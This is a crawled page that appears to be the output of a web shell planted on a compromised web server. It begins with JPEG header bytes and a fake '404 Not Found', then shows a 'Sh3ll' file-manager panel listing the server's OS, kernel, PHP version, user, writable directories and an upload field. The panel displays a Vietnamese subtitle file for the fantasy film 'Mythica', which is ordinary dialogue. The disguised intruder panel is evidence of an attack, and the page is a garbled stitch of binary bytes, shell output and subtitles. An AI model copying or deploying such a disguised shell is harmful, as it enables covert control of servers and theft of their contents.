����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c84f82ad8662-1552218154.vtt
WEBVTT - https://subtitletools.com

00:00:05.000 --> 00:00:20.000
JadViE - Sản phẩm cho người Việt
[email protected]

00:00:31.360 --> 00:00:33.030
Đây này con.

00:00:34.150 --> 00:00:37.700
Con phải đưa được hòn đá này
cho hiệp sĩ vùng Sung Hill.

00:00:37.780 --> 00:00:42.580
Ta đã quá già để thực hiện chuyến đi này.
Chạy đi! Mau chạy đi!

00:00:55.550 --> 00:00:57.350
Teela! Teela!

00:01:13.860 --> 00:01:19.540
Hòn đá đâu?
- Ngươi sẽ không bao giờ tìm được.

00:02:11.340 --> 00:02:12.760
Caeryng.

00:02:18.590 --> 00:02:23.470
Chạy đi, Teela! Các nữ thần sẽ không để
tôi chết đâu. Hãy tìm sự giúp đỡ!

00:02:33.440 --> 00:02:37.490
Mythica:
Sứ Mệnh Của Những Anh Hùng.

00:03:35.210 --> 00:03:37.550
Chúng ta sẽ không làm được đâu.

00:03:39.010 --> 00:03:40.800
Thật vô nghĩa!

00:03:50.930 --> 00:03:52.900
Được rồi.

00:03:56.360 --> 00:03:59.740
Nhẹ thôi.
Không thì nó sẽ...

00:04:11.910 --> 00:04:13.760
Không có tác dụng.

00:04:15.330 --> 00:04:16.800
- Đừng run.
- Tôi không thể.

00:04:16.880 --> 00:04:18.380
Cẩn thận.

00:04:25.090 --> 00:04:29.890
- Không có gì xảy ra cả, chúng ta nên...
- Hãy bỏ vào ngay khi tôi bảo.

00:04:37.440 --> 00:04:39.070
Làm đi, Egan.

00:04:39.940 --> 00:04:42.190
Thành công rồi.

00:05:14.100 --> 00:05:18.280
Tôi không biết là sai ở chỗ nào.
Có lẽ là do quá ít máu kỳ đà.

00:05:18.610 --> 00:05:20.570
Không!

00:05:20.900 --> 00:05:24.820
Mùi gì thế hả?
- Mau dọn chỗ này đi.

00:05:24.950 --> 00:05:28.920
Lũ khốn các ngươi.
Ta sẽ cho bọn ngươi nhừ đòn!

00:05:38.540 --> 00:05:43.390
Mày đã phá hỏng mọi thứ, con khốn!
Đồ vô dụng!

00:05:43.590 --> 00:05:47.140
Ngươi sẽ không được ăn.

00:05:47.220 --> 00:05:51.470
Bỏ đi! Đó là công việc của đàn bà. Đây.

00:05:52.850 --> 00:05:56.730
Cầm cái này vào thị trấn.
Mang tiền của mụ phù thủy về đây cho ta.

00:05:57.060 --> 00:06:02.240
Ta muốn ngươi trở về trước giờ giới nghiêm
Ta không muốn gặp rắc rối.

00:06:14.540 --> 00:06:16.880
- Tôi sẽ đi.
- Không. Chân của cô.

00:06:16.960 --> 00:06:21.210
Cô sẽ không về kịp trước giờ giới nghiêm.
Cô sẽ bị bắt.

00:07:20.940 --> 00:07:23.820
Tôi đã cố làm phép thuật của ông.

00:07:24.190 --> 00:07:28.700
Tôi nghĩ rằng còn thiếu một chút máu kỳ đà.

00:07:29.530 --> 00:07:34.700
- Máu kỳ đà đã tạo ra thứ gì?
- Một con đại bàng.

00:07:34.990 --> 00:07:40.090
Thật kỳ lạ.
Máu kỳ đà thường tạo ra một quả cầu lửa.

00:07:45.000 --> 00:07:49.760
- Tôi nghĩ là ta nên bắt đầu với một câu thần chú mới.
- Cô nghĩ vậy à? Loại thần chú nào?

00:07:51.590 --> 00:07:53.390
Chữa lành.

00:07:56.100 --> 00:08:00.100
Tôi không phải một Mục sư, để làm điều đó.

00:08:01.100 --> 00:08:05.480
Phép thuật sẽ không tạo ra được điều tốt đẹp.

00:08:08.610 --> 00:08:14.460
Dù sao thì, tôi cũng sẽ làm cái này cho cô.
Đưa cho tôi đống giấy da trước mặt.

00:08:24.420 --> 00:08:27.800
Đây này. Thần chú hoán đổi.
Luôn luôn hữu dụng

00:08:27.880 --> 00:08:31.510
- Nhưng nó lại không hiệu quả trên vật thể sống.
- Tại sao?

00:08:31.590 --> 00:08:36.020
- Bởi vì sau đó họ có thể không còn tồn tại.
- Ông làm gì thế?

00:08:36.090 --> 00:08:39.270
Bởi vì nó sẽ trở nên nguy hiểm
trước sự dòm ngó của kẻ xấu.

00:08:39.350 --> 00:08:44.480
Không còn an toàn nữa.
- Ông sẽ đi à?

00:08:44.560 --> 00:08:49.160
Có quá nhiều kẻ đang tìm kiếm quyền lực.
Trong khi tôi đã ở đây quá lâu.

00:08:49.230 --> 00:08:51.080
Tôi sẽ đi với ông!

00:08:51.150 --> 00:08:54.870
Cô có một ý chí mạnh mẽ, Marek.
Và một món quà đặc biệt.

00:08:54.950 --> 00:08:59.330
Ông có thể dạy cho tôi.
Ông có thể mua tôi và huấn luyện tôi.

00:09:00.240 --> 00:09:04.120
Có một nhà khách bên ngoài thị trấn.

00:09:06.670 --> 00:09:11.260
Hãy tìm gặp Hammer Fist. Cô sẽ tìm ra
điều cô khao khát từ sâu trong tim.

00:09:11.340 --> 00:09:14.590
Có thể pháp sư nào đó sẽ
chấp nhận lời thỉnh cầu của cô.

00:09:16.930 --> 00:09:18.930
Tôi không thể.

00:09:20.470 --> 00:09:25.440
Nô lệ bỏ trốn sẽ bị săn đuổi và treo cổ.

00:09:26.940 --> 00:09:32.280
Cô là một chiến binh, Marek.
Thật xấu hổ nếu điều đó cản trở cô.

00:09:32.940 --> 00:09:37.200
Không được đâu.
- Cô hãy chạy trốn ngay khi trời sập tối.

00:09:37.280 --> 00:09:39.500
Tôi cũng vậy.

00:09:40.780 --> 00:09:43.880
Đây, dành cho người thầy của cô.

00:09:43.950 --> 00:09:48.000
Làm ơn đừng đi,
Ông là người bạn duy nhất của tôi.

00:09:48.080 --> 00:09:51.050
Người duy nhất có thể giúp tôi.

00:09:52.130 --> 00:09:58.180
Những người bạn thật sự sẽ không bao giờ
từ biệt mãi mãi. Một ngày nào đó ta sẽ gặp lại.

00:10:01.050 --> 00:10:04.730
Bây giờ hãy đi đi.
Sắp đến giờ giới nghiêm rồi.

00:10:04.810 --> 00:10:08.810
Hãy đem lại tự do cho cô.

00:10:26.040 --> 00:10:29.420
- Có chuyện gì thế?
- Những người thám hiểm cho xem
chiến lợi phẩm của họ.

00:10:37.550 --> 00:10:39.350
Giờ giới nghiêm!

00:10:53.730 --> 00:10:56.230
Ngươi định đi đâu hả?

00:10:57.360 --> 00:11:01.080
Xem chúng ta có gì này?

00:11:07.540 --> 00:11:11.380
Một nô lệ à?
Thật không may cho ngươi.

00:11:11.750 --> 00:11:16.720
Xem ngươi đáng giá bao nhiêu. - Thả ta ra!

00:11:16.800 --> 00:11:20.520
Nhưng cái chân tật nguyền của ngươi
làm ta không hứng thú.

00:11:20.590 --> 00:11:24.600
Nhưng ta tin có người sẽ cảm thấy ngươi thú vị.

00:11:27.390 --> 00:11:30.110
Đem ả đến nhà ta! Mau lên!

00:11:30.770 --> 00:11:32.690
Không! Để ta yên!

00:11:35.570 --> 00:11:41.410
à, và tìm ra ai sở hữu ả,
Ai đã đánh mất ả nô lệ này.

00:11:44.780 --> 00:11:46.000
Chờ đã!

00:11:51.000 --> 00:11:56.930
- Là ả nô lệ bỏ trốn của ta. Nhưng ta đã bắt lại được.
- Không! Hắn nói dối!

00:11:57.000 --> 00:12:01.470
Ngươi đã ở phạm vào giờ giới nghiêm.
Ngươi phải đi cùng ta.

00:12:01.970 --> 00:12:06.020
Ta đã nói là nô lệ của ta bỏ trốn,

00:12:06.510 --> 00:12:08.940
Và bây giờ ta tìm được ả.

00:12:09.560 --> 00:12:11.860
ở đây không còn vấn đề gì nữa.

00:12:18.690 --> 00:12:23.240
Dành cho sự bất tiện của ngươi.
- Tên ngươi là gì?

00:12:28.830 --> 00:12:31.960
Giết hắn đi.

00:13:00.280 --> 00:13:01.650
Con khốn ...!

00:13:12.330 --> 00:13:14.500
Mày sẽ phải trả giá!

00:13:22.050 --> 00:13:26.770
Ngươi không biết ta là ai. Đúng không?

00:13:29.140 --> 00:13:31.520
Ta không quan tâm.

00:13:35.140 --> 00:13:38.190
Nếu đến gần, ngươi sẽ chết!

00:14:35.870 --> 00:14:41.380
Em có thể dùng cái này để phòng thủ.
Em gần như đã giết chết tôi rồi.

00:14:43.090 --> 00:14:48.760
Này, ngươi chở thứ gì vậy?
- Chỉ là rơm thôi, thưa ngài.

00:15:00.100 --> 00:15:02.280
Đi đi!

00:15:07.610 --> 00:15:11.870
- Bỏ tay của ngươi ra!
- Rất sẵn lòng, thưa quý cô.

00:15:11.950 --> 00:15:17.080
Ta không thể kiềm chế bản thân.
Trước một quý cô xinh đẹp như thế này...

00:15:19.460 --> 00:15:21.380
Nhưng hãy tập trung vào hiện tại.

00:15:21.460 --> 00:15:26.930
Những nhà thẩm phán sẽ không để cô yên đâu.
Hãy bảo trọng.

00:15:32.430 --> 00:15:33.800
Túi tiền của tôi!

00:15:37.470 --> 00:15:39.020
Này!

00:15:45.440 --> 00:15:47.070
Ôi, không! Không!

00:16:25.860 --> 00:16:28.360
Ai là chủ ở đây?

00:16:31.110 --> 00:16:33.830
ả là của ông đúng không?

00:16:34.990 --> 00:16:39.840
Đúng vậy.
Phần thưởng dành cho ngươi đây.

00:16:54.300 --> 00:17:00.600
Sao ngươi dám dẫn lính về nhà của ta hả?
Tiền của ta đâu? - Xin hãy thứ lỗi cho tôi!

00:17:00.680 --> 00:17:02.930
Tôi bị trộm mất.

00:17:05.230 --> 00:17:11.860
Ngươi nghĩ ta là đồ ngốc sao?
- Ông ngu ngốc hơn ông tưởng đấy.

00:17:15.030 --> 00:17:17.080
Vậy đủ rồi!

00:17:17.160 --> 00:17:21.160
Ta không đánh ngươi, bởi vì ta không muốn
bị ép giảm giá khi bán ngươi.

00:17:21.240 --> 00:17:23.250
Nhưng bây giờ ta đổi ý rồi.

00:17:23.330 --> 00:17:27.130
Ta sẽ bán ngươi đi,
bằng mọi giá.

00:19:10.100 --> 00:19:14.200
Cái đó là gì vậy?
- Tôi không biết.

00:19:14.270 --> 00:19:19.620
Đừng có chối nữa. Tôi chưa bao giờ
thấy cô dùng phép thuật như thế.

00:19:19.700 --> 00:19:23.920
ả nô lệ đã tấn công chủ của nó!
ả ở bên trong!

00:19:28.160 --> 00:19:32.090
Tôi phải đi.
Rời khỏi thị trấn này. Hãy đi với tôi, Egan.

00:19:32.420 --> 00:19:35.300
Tôi không thể làm điều này một mình.
- Đợi đã.

00:19:42.260 --> 00:19:45.640
Tôi đã làm nó.
Hy vọng là hữu dụng đối với cô.

00:19:46.680 --> 00:19:51.060
Tôi không dũng cảm như cô,
và sẽ không bao giờ được như thế.

00:19:52.690 --> 00:19:54.860
Thôi nào, đi đi! Nhanh lên!

00:19:57.780 --> 00:20:00.400
Tạm biệt, Egan.
- Tạm biệt.

00:20:14.040 --> 00:20:17.970
Hãy để chúng tôi chắc rằng,
chuyện đó không tái diễn.

00:23:37.620 --> 00:23:42.720
Muốn ta nói lại bao nhiêu lần nữa hả?
Không được đánh nhau trong nhà khách của ta!

00:23:42.790 --> 00:23:44.540
Đồng ý!

00:23:50.720 --> 00:23:53.010
Ta sẽ cho lợn ăn.

00:24:01.640 --> 00:24:04.990
ở đây này. Đây, đây.
- Hammer Fist!

00:24:20.000 --> 00:24:26.130
Các quý ông, đồ uống dành cho đàn ông
với thanh kiếm dính máu!

00:24:30.420 --> 00:24:32.470
Hammer Fist.

00:24:34.720 --> 00:24:37.020
Hammer Fist!
- Hãy say xỉn đi!

00:24:38.930 --> 00:24:40.310
Hammer Fist!

00:24:42.560 --> 00:24:46.310
Ta đoán ngươi mới tới đây lần đầu,
và mang theo món quà này.

00:24:46.980 --> 00:24:51.610
Hãy ra đằng kia mà thách đấu
Không thì máu ngươi sẽ dính trên rìu của ta.

00:24:51.690 --> 00:24:55.740
- Tôi đến để xin việc.
- Vậy tốt hơn là hãy nói chuyện với Narnie.

00:24:55.820 --> 00:25:01.580
Không, một công việc thám hiểm.
Tôi đang nói đến thợ săn tiền thưởng.
Và cả phép thuật nữa.

00:25:01.660 --> 00:25:05.710
ồ, sao ngươi lại yêu cầu điều này? Một phù thủy?

00:25:06.460 --> 00:25:09.430
Tốt thôi, ta không có ý kiến,

00:25:09.500 --> 00:25:15.180
Ta đã dành nhiều thời gian để tìm ra
một phù thủy đích thực.

00:25:15.510 --> 00:25:18.230
Hãy thử đi, trước khi ta mất kiên nhẫn!
- Đợi đã!

00:25:20.930 --> 00:25:26.360
Mang danh Nữ thần Aniset
Ta yêu cầu được thách đấu với Orin Tuck.

00:25:31.230 --> 00:25:36.240
Thật là xấu hổ khi phải đấu với phụ nữ.
- Ông có phải là Orin Tuck không?

00:25:36.320 --> 00:25:38.540
Ta là Hammer Fist.

00:25:38.910 --> 00:25:43.460
Tên tôi là Teela# thuộc dòng dõi Aniset.
Tôi yêu cầu được giúp đỡ.

00:25:43.540 --> 00:25:45.840
Đền của chúng tôi bị lũ khổng lồ tấn công.

00:25:45.910 --> 00:25:49.380
Anh chị em của tôi đã bị bắt cóc và có thể bị giết.

00:25:49.500 --> 00:25:51.920
Tôi đang tìm một chiến binh dũng cảm
để giải thoát cho họ.

00:25:52.000 --> 00:25:56.930
Ngươi có tiền không?
- Có một ít.

00:25:57.630 --> 00:26:01.890
- 200 đồng bạc.
- Nhiêu đó không đủ.

00:26:01.970 --> 00:26:06.480
Cầu xin ông. Hãy vì tình bạn giữa ông
với chủ nhân của tôi mà chấp nhận.

00:26:07.440 --> 00:26:10.110
Chuyện đó lâu lắm rồi.

00:26:10.190 --> 00:26:13.070
Ta có rất nhiều bằng hữu.

00:26:13.150 --> 00:26:16.580
Và hôm nay cũng không có nhiều người đến.

00:26:16.650 --> 00:26:18.950
Ngươi sẽ có được em gái của ta.

00:26:19.360 --> 00:26:21.870
Trong số cái ngươi, ai có thể đi cứu
người chị em cuối cùng của cô gái này

00:26:21.950 --> 00:26:26.670
Khỏi tay lũ quỷ khổng lồ khát máu?

00:26:26.830 --> 00:26:30.300
Các ngươi sẽ được trả 200 đồng bạc.

00:26:38.220 --> 00:26:41.600
Cánh cửa ở phía bên kia.
Cô có thể đi được rồi.

00:26:51.360 --> 00:26:55.450
Nếu ngươi không muốn làm việc
ở đây như một người hầu,

00:26:55.530 --> 00:26:58.530
Thì hãy mau biến khỏi mắt ta.

00:26:59.610 --> 00:27:02.210
Tôi chấp nhận lời yêu cầu lúc trước.

00:27:07.580 --> 00:27:11.710
Ai sẽ đi cùng tôi. Tôi sẽ lập một đội...

00:27:11.790 --> 00:27:15.140
...sử dụng phép thuật.

00:27:18.720 --> 00:27:21.760
Hãy biến khỏi đây đi!

00:27:25.180 --> 00:27:27.480
Này! Đợi đã!

00:27:29.140 --> 00:27:34.240
Tôi cần cô giúp đỡ.
Tôi đã nghe những gì cô nói ở trong kia.

00:27:34.310 --> 00:27:40.070
Tôi cần một chiến binh nhiều kinh nghiệm.
Một anh hùng thực sự. Không phải một cô gái trẻ.

00:27:40.650 --> 00:27:45.330
- Tôi có đồng minh.
- Và họ cũng yếu kém.

00:27:46.160 --> 00:27:48.880
Sẽ không ai giúp cô đâu.

00:27:48.950 --> 00:27:53.930
Như lời Hammer Fist nói, nhiệm vụ
quá khó khăn so với cái giá được trả.

00:27:55.960 --> 00:28:03.560
Thế còn cô. Cô không cảm thấy sợ hãi sao?
- Không. Tôi có nên sợ không?

00:28:04.680 --> 00:28:06.150
Có.

00:28:20.150 --> 00:28:25.160
200 đồng bạc.
Khi nhiệm vụ hoàn thành.

00:28:25.820 --> 00:28:29.920
Sẽ rất nguy hiểm.
Nhưng cô sẽ được bảo hộ bởi nữ thần.

00:28:30.000 --> 00:28:34.420
- Cô sẽ không hối hận đâu.
- Tôi nghi ngờ điều đó.

00:28:34.790 --> 00:28:38.720
Hãy gặp tôi sau khi lệnh giới nghiêm kết thúc.
- Gặp ở vòng tròn đá lúc mặt trời mọc.

00:29:12.830 --> 00:29:19.590
- Tôi biết cô. Cô là người khiến tôi bị thế này.
- Marek.

00:29:22.420 --> 00:29:25.800
Kẻ buôn người dường như là người quen
trong trung đoàn của tôi.

00:29:25.880 --> 00:29:30.810
Tôi sẽ giải cứu cho anh.
Nhưng tôi yêu cầu anh hãy thề.

00:29:32.930 --> 00:29:34.530
Việc gì?

00:29:35.020 --> 00:29:37.820
Tôi cần chiến binh.
Cho nhiệm vụ của tôi.

00:29:37.900 --> 00:29:42.900
- Hãy hợp tác với tôi, ta sẽ chia nhau chiến lợi phẩm.
- Chắc cô đang đùa.

00:29:45.400 --> 00:29:47.280
Nghiêm túc sao?

00:29:51.120 --> 00:29:54.620
Đã rất lâu trước đây tôi
từng thề trước trung đoàn Vitalian.

00:29:54.960 --> 00:29:59.210
Là sẽ đi vòng quanh thế giới.
Nhưng giờ thì bị nhốt trong cái lồng này.

00:30:00.000 --> 00:30:01.880
Tôi sẽ không thề.

00:30:01.960 --> 00:30:05.260
Anh là một người tốt.

00:30:05.340 --> 00:30:10.560
- Chúng ta sẽ không làm gì được đâu.
- Chúng ta sẽ quyết định vận mệnh của mình.

00:30:12.640 --> 00:30:16.990
Nhưng sao cô có thể chắc chắn vào vụ này?

00:30:17.890 --> 00:30:20.900
Dựa vào danh dự.

00:30:22.320 --> 00:30:25.990
Được rồi. Danh dự.

00:30:38.210 --> 00:30:42.960
E'eno respar! E'eno respar!
- Ôi trời!

00:30:46.760 --> 00:30:49.260
E'eno respar!

00:30:51.800 --> 00:30:55.980
Này! Ngươi làm gì thế?
- Bọn lính đang đến.

00:30:56.060 --> 00:30:58.110
Cô cần chìa khóa đấy.

00:31:01.360 --> 00:31:03.570
Tuyệt lắm!

00:31:42.850 --> 00:31:45.570
Tên tôi là Thane.

00:31:46.900 --> 00:31:50.660
- Chúng ta cần kẻ gánh tội.
- Môt tai nạn ngẫu nhiên.

00:31:51.240 --> 00:31:55.080
Bây giờ tôi hành động dưới sự chỉ huy
của một phụ nữ.

00:31:55.700 --> 00:31:58.370
Vẫn chưa đủ thuyết phục.

00:32:03.460 --> 00:32:04.840
Cậu bé!

00:32:05.380 --> 00:32:09.010
Cậu bé! Cậu bé ơi!

00:32:12.380 --> 00:32:17.890
Hãy chạy đến trạm gác
Và thông báo rằng có kẻ trèo khỏi cửa sổ.

00:32:21.100 --> 00:32:24.280
Chân chị bị gì thế?
- Đi đi!

00:32:28.730 --> 00:32:34.580
Chính xác thì chuyện gì đang diễn ra?
- Chồng em đang trở về đấy! Mau trốn đi!

00:32:55.050 --> 00:32:58.520
Có chuyện gì với chân của cô vậy?
- Tiền của tôi đâu?

00:32:58.600 --> 00:33:02.070
- Tôi không hiểu cô nói gì
- Chúng ta đã gặp nhau trong đống rơm.

00:33:02.140 --> 00:33:06.820
Tôi đã gặp rất nhiều phụ nữ. Không có ý xấu,
nhưng tôi không nhớ nổi.

00:33:07.860 --> 00:33:10.080
Đợi đã!
Nhớ rồi!

00:33:10.570 --> 00:33:15.490
Sao cô dám cắm sừng tôi hả,
Tôi là một thẩm phán đấy!

00:33:15.820 --> 00:33:20.330
Chúng ta có thể nói chuyện ở chỗ khác không?
- Bọn ta không gấp đâu.

00:33:20.410 --> 00:33:22.830
Được rồi, được rồi!

00:33:23.460 --> 00:33:29.180
Tôi gặp một tên cướp.
ý tôi muốn nói là tiền của cô mất rồi.

00:33:29.420 --> 00:33:33.640
Bị cướp bởi một người phụ nữ.

00:33:33.880 --> 00:33:37.230
- Kẻ đáng thương!
- Còn hơn thế.

00:33:44.770 --> 00:33:48.190
Xin lỗi nhé quý cô.
Nhưng bắt đầu thật không dễ dàng.

00:33:48.270 --> 00:33:52.370
- Bọn ta có một đề nghị với ngươi.
- Mọi chuyện kết thúc rồi!

00:33:52.440 --> 00:33:55.450
Lính, lính đâu, bắt hắn lại!
- Tôi có một nhiệm vụ.

00:33:55.860 --> 00:33:59.080
- Không hứng thú, thưa quý cô!
- Ngài thẩm phán sẽ thưởng cho bọn tôi đấy.

00:33:59.160 --> 00:34:01.460
Và cô ấy sẽ lấy lại tiền.
- Tôi được chia bao nhiêu?

00:34:01.540 --> 00:34:03.630
50 đồng bạc.
- Tôi muốn 100 đồng!

00:34:06.370 --> 00:34:09.220
100!
- Ngươi thật sự muốn mặc cả sao?

00:34:09.580 --> 00:34:10.760
75!
- Cái gì?

00:34:10.840 --> 00:34:13.340
Giết hắn đi!
- Tôi tham gia!

00:34:44.490 --> 00:34:50.750
Chúng ta đến rồi.

00:34:52.750 --> 00:34:55.930
Dagen. Còn em?
- Teela.

00:34:56.010 --> 00:34:59.180
Đến từ Aniset
- Một nữ tu à.

00:35:02.470 --> 00:35:07.570
Một cô gái trẻ.
Một kẻ đào ngũ và một tội phạm.

00:35:07.890 --> 00:35:12.150
- Mong rằng nữ thần của chúng tôi sẽ
động lòng thương xót. - Thật quyến rũ.

00:35:14.020 --> 00:35:16.490
Bọn quỷ khổng lồ đã tấn công chúng tôi.

00:35:16.570 --> 00:35:20.160
Và bắt cóc em gái tôi.
Chúng ta sẽ cứu cô ấy trong đêm nay.

00:35:20.240 --> 00:35:26.170
Em và tôi ở cùng nhau dưới bóng tối.
Tôi thích thế. Nhưng đừng cầu nguyện
suốt trong trang phục đó.

00:35:26.240 --> 00:35:29.870
Vì như thế sẽ trông giống bông hoa nhài
cắm bãi phân trâu.

00:35:29.960 --> 00:35:31.960
- Cầu nguyện?
- Dừng lại được chưa?

00:35:32.040 --> 00:35:36.670
áo choàng màu trắng tượng trưng cho sự tinh khiết
và lòng sùng kính đối với thánh nữ Aniset.

00:35:37.050 --> 00:35:41.600
Tôi không giống như những người tình của anh đâu.

00:35:42.590 --> 00:35:48.770
Họ đều giống nhau.
Chỉ khác ở diện mạo.

00:35:49.770 --> 00:35:54.900
ít ra thì tôi cũng không bị quyến rũ.
Đừng lôi kéo tôi.

00:35:59.280 --> 00:36:02.200
Thánh nữ sẽ dẫn đường.

00:36:04.570 --> 00:36:09.170
- "Thánh nữ sẽ dẫn đường"
- Thôi đi.

00:37:23.240 --> 00:37:28.830
Chúng ta nên thăm dò xung quanh.
Có thể sẽ tìm được gì đó giá trị.

00:37:28.910 --> 00:37:34.170
Họ từng là bạn và thầy của tôi.
Chúng ta có nên xuống đó không?

00:37:34.580 --> 00:37:37.210
Để tìm ra sự thật?

00:37:38.840 --> 00:37:41.130
Đi thôi.

00:38:01.110 --> 00:38:03.780
Có mùi gì vậy?

00:38:05.530 --> 00:38:10.250
Nó bắt nguồn từ hướng đó.
Đi tiếp đi, và giữ im lặng.

00:38:12.950 --> 00:38:17.500
- Có nhiều người khổng lồ quá.
- Đúng thế. Trở về thôi.

00:38:17.580 --> 00:38:22.340
- Nếu chúng tấn công, chúng ta sẽ chết.
- Tôi có một kế hoạch.

00:38:23.760 --> 00:38:28.390
Tôi sẽ đánh lạc hướng chúng.

00:38:28.470 --> 00:38:32.470
- Sau đó Dagen sẽ chạy qua
- ồ, không. Tôi sẽ không làm đâu.

00:38:32.560 --> 00:38:35.680
Cô mất trí à? Bọn chúng không phải là
những tên khổng lồ trong truyện cổ tích.

00:38:35.770 --> 00:38:38.740
Hay trong chuyện kể của bà,
xinh đẹp và có trái tim ấm áp đâu nhé.

00:38:38.810 --> 00:38:43.610
Bọn chúng là thật, khát máu,
cơ bắp cuồn cuộn, và là một lũ quái vật.

00:38:44.190 --> 00:38:47.820
Còn chúng ta thì thế này.

00:38:47.900 --> 00:38:52.580
Chúng ta cần làm bọn chúng phân tâm.
Có rất nhiều người khổng lồ ở đó.

00:38:54.120 --> 00:38:57.170
Được rồi. Nghe đây.

00:38:57.370 --> 00:39:00.000
Tôi cần anh trốn dưới nước,

00:39:00.080 --> 00:39:03.430
Và thăm dò xem chị em của Teela bị giam cầm ở đâu.

00:39:03.500 --> 00:39:06.380
Trở lại báo cho chúng tôi nếu họ được an toàn
- Thế còn những tù nhân khác?

00:39:06.460 --> 00:39:07.930
Hỏi hay lắm.

00:39:08.010 --> 00:39:12.060
Khi tôi làm thế.
Tôi cũng sẽ vào tay bọn chúng.

00:39:12.140 --> 00:39:14.390
- Quên chuyện đó đi!
- Nếu có chuyện gì xảy ra,

00:39:14.470 --> 00:39:19.190
Chúng tôi sẽ xông vào. - ý hay đấy.

00:39:20.100 --> 00:39:24.830
Còn lính canh thì sao?
Sẽ thế nào nếu chúng phát hiện ra.

00:39:24.900 --> 00:39:26.900
Có thể bọn chúng là đồng lõa.

00:39:26.990 --> 00:39:31.160
Trong khi cô và Thane an toàn ở đây.

00:39:31.240 --> 00:39:34.620
và Teela đem lại sức mạnh tình yêu.

00:39:34.700 --> 00:39:38.130
Hãy dừng lại trước khi ta
đâm thanh kiếm này vào ngươi.

00:39:38.200 --> 00:39:42.630
Cái chết sẽ đến rất nhanh trước khi
ngươi kịp nhận ra đấy.

00:39:43.000 --> 00:39:46.130
Các chị em của tôi phải được
an toàn trong cuộc chiến này.

00:39:46.210 --> 00:39:49.970
- Nếu cô không đủ khả năng, tôi có thể dùng...
- Cô có thể...? Không!

00:39:50.050 --> 00:39:52.720
Được thôi! Tôi sẽ làm!

00:39:52.800 --> 00:39:57.480
Chết tiệt. Sao tôi luôn là người phải hy sinh chứ?

00:39:57.560 --> 00:40:02.480
Teela, dẹp đi.
Được rồi, coi như gặp xui vậy.

00:40:07.070 --> 00:40:09.740
Tôi qua được không.

00:40:10.820 --> 00:40:14.200
Trông cô ấy như thế nào?
- Tóc nâu.

00:40:14.280 --> 00:40:16.030
Có xinh đẹp không?
- Mhm.

00:40:16.120 --> 00:40:18.710
ít ra cũng được như vậy!

00:40:28.170 --> 00:40:30.850
Có chuyện gì dưới đó?

00:40:32.050 --> 00:40:34.970
Teela, có phải em cô không?

00:40:38.720 --> 00:40:41.150
Không, là một mục sư.

00:40:43.650 --> 00:40:46.740
Là hắn ta. Hắn là kẻ tấn công đền thờ.

00:40:50.230 --> 00:40:53.580
Hòn đá ở đâu?
- Tôi không biết.

00:40:58.950 --> 00:41:01.710
Hắn đang làm gì vậy?

00:41:06.290 --> 00:41:08.720
Ma thuật đen.

00:41:08.960 --> 00:41:13.590
Hắn dùng nghi thức cổ xưa
để điều khiển suy nghĩ của người khác.

00:41:13.680 --> 00:41:16.600
Tôi từng nghe nhiều người nói vậy.

00:41:26.600 --> 00:41:28.950
Không thấy Dagen.

00:41:29.860 --> 00:41:34.360
-Có dấu vết của anh ấy không?
-Nhanh lên nào.

00:41:50.960 --> 00:41:55.890
-Ai là em Caeryn, em gái của Teela vậy?
-Nếu chúng tôi nói sẽ bị giết ngay.

00:41:58.140 --> 00:42:01.310
Tôi đến đây cứu cô.
-Họ đến rồi...

00:42:01.390 --> 00:42:06.740
Đứa nào nói đó? Tao giết ngay.

00:42:16.450 --> 00:42:19.290
Tôi giúp các người.

00:42:21.620 --> 00:42:25.420
Cái lồng bình thường thôi, khá dễ mở.

00:42:27.710 --> 00:42:31.430
Từ từ nào.

00:42:32.630 --> 00:42:35.760
Nào, nắm lấy tay tôi.

00:42:37.180 --> 00:42:38.800
Cô là Caeryn?

00:42:41.300 --> 00:42:44.230
-Caeryn không ở đây.
-ý cô là sao?

00:42:44.430 --> 00:42:49.400
Anh hiểu lầm rồi.

00:42:50.150 --> 00:42:53.870
Coi chừng chúng phát hiện, ra đây với tôi nào.

00:43:02.620 --> 00:43:04.420
Không.

00:43:04.490 --> 00:43:08.370
ồ không.

00:43:12.840 --> 00:43:16.590
Có chuyện rồi.

00:43:18.050 --> 00:43:22.560
Đứng lại, Marek!
Đứng lại!

00:43:28.270 --> 00:43:31.900
-Anh có kế hoạch gì không?
-Có, chiến đấu thôi.

00:43:31.980 --> 00:43:36.410
-Anh kêu chúng tôi nộp mạng à?.
-Đến lúc vậy rồi.

00:43:59.720 --> 00:44:02.890
Bọn chúng đông quá.

00:44:29.160 --> 00:44:32.340
-Anh có sao không?
-Không sao.

00:44:49.310 --> 00:44:52.360
-Mau cứu Teela!
- Hey!

00:45:08.950 --> 00:45:12.830
Anh nên im lặng mà làm.
Những gì tu sĩ nói thật vô lý.

00:45:12.910 --> 00:45:18.720
Mọi người hãy cẩn thận.

00:45:38.860 --> 00:45:43.950
-Để tôi quay lại đó, tôi không sợ chết.
-Im lặng đi.

00:45:48.030 --> 00:45:50.910
Đi khẽ thôi.

00:45:59.290 --> 00:46:04.350
-Tôi nghĩ chúng ta cắt đuôi chúng rồi, à không
-Marek!

00:46:05.880 --> 00:46:08.730
Có chút hy vọng rồi.

00:46:09.890 --> 00:46:15.140
-Bỏ tôi lại đi. Nếu không...
-Không, chúng tôi không bỏ anh lại.

00:46:20.480 --> 00:46:23.330
Đi nhanh lên!

00:46:36.290 --> 00:46:38.790
Đợi, đợi đã, tôi biết chỗ này.

00:46:38.960 --> 00:46:43.680
Trên đó có chỗ ẩn nấp khó mà phát hiện.

00:46:48.840 --> 00:46:50.890
Tôi hết tên rồi.

00:46:57.350 --> 00:46:59.820
Có vẻ khó leo nhỉ?

00:47:07.530 --> 00:47:10.370
Tôi không để anh chết đâu.

00:47:15.660 --> 00:47:18.960
-Mau rút mũi tên ra!
-Im lặng!

00:47:22.250 --> 00:47:25.970
Kêu hắn im lặng đi.

00:47:28.880 --> 00:47:33.560
-Tôi chảy máu nhiều quá.
-Tránh ra.

00:47:41.400 --> 00:47:45.570
Anh bạn cố lên nha.

00:47:47.650 --> 00:47:48.820
Không.

